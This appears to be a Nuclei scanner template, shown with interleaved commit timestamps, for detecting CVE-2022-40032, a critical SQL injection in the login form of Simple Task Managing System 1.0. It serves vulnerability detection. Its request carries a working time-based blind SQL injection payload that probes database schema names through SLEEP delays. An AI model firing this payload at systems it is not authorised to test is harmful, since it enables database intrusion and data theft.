2023-10-17 07:20:28 +00:00
id : CVE-2022-40032
info :
name : Simple Task Managing System v1.0 - SQL Injection
author : r3Y3r53
severity : critical
description : |
SQL injection occurs when a web application doesn't properly validate or sanitize user input that is used in SQL queries. Attackers can exploit this by injecting malicious SQL code into the input fields of a web application, tricking the application into executing unintended database queries.
reference :
- https://www.exploit-db.com/exploits/51273
- https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-40032
2023-10-17 17:52:26 +00:00
- http://packetstormsecurity.com/files/171739/Simple-Task-Managing-System-1.0-SQL-Injection.html
- https://www.sourcecodester.com/sites/default/files/download/razormist/Task%20Managing%20System%20in%20PHP.zip
2023-10-17 07:20:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-40032
cwe-id : CWE-89
2023-11-09 06:04:52 +00:00
epss-score : 0.00184
2023-11-20 10:15:32 +00:00
epss-percentile : 0.55555
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:simple_task_managing_system_project:simple_task_managing_system:1.0:*:*:*:*:*:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 1
vendor : simple_task_managing_system_project
product : simple_task_managing_system
2023-10-17 18:18:29 +00:00
tags : packetstorm,cve,cve2022,simple-task,stms,sqli
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
@timeout : 15s
POST /task/loginValidation.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
login=test'%20AND%20(SELECT%208979%20FROM%20(SELECT(SLEEP(7-(IF(ORD(MID((SELECT%20DISTINCT(IFNULL(CAST(schema_name%20AS%20NCHAR)%2c0x20))%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2c1)%2c12%2c1))%3e48%2c0%2c1)))))jaXJ)--%20HgKq&password=
matchers :
- type : dsl
dsl :
- 'duration>=7'
- 'status_code == 302'
2023-10-17 16:37:11 +00:00
- "contains(location, 'login.php')"
2023-10-17 07:20:28 +00:00
- 'contains(content_type, "text/html")'
condition : and
2023-11-21 07:14:20 +00:00
# digest: 490a0046304402202e69e31660a76f633d41a073e25d252abf018310a7e1b427eb82b2cff6251e6f022045b470d08e3a91082138ae7c6e147d9c275acb6983151ad409c8f2d96877774a:922c64590222798bb761d5b6d8e72950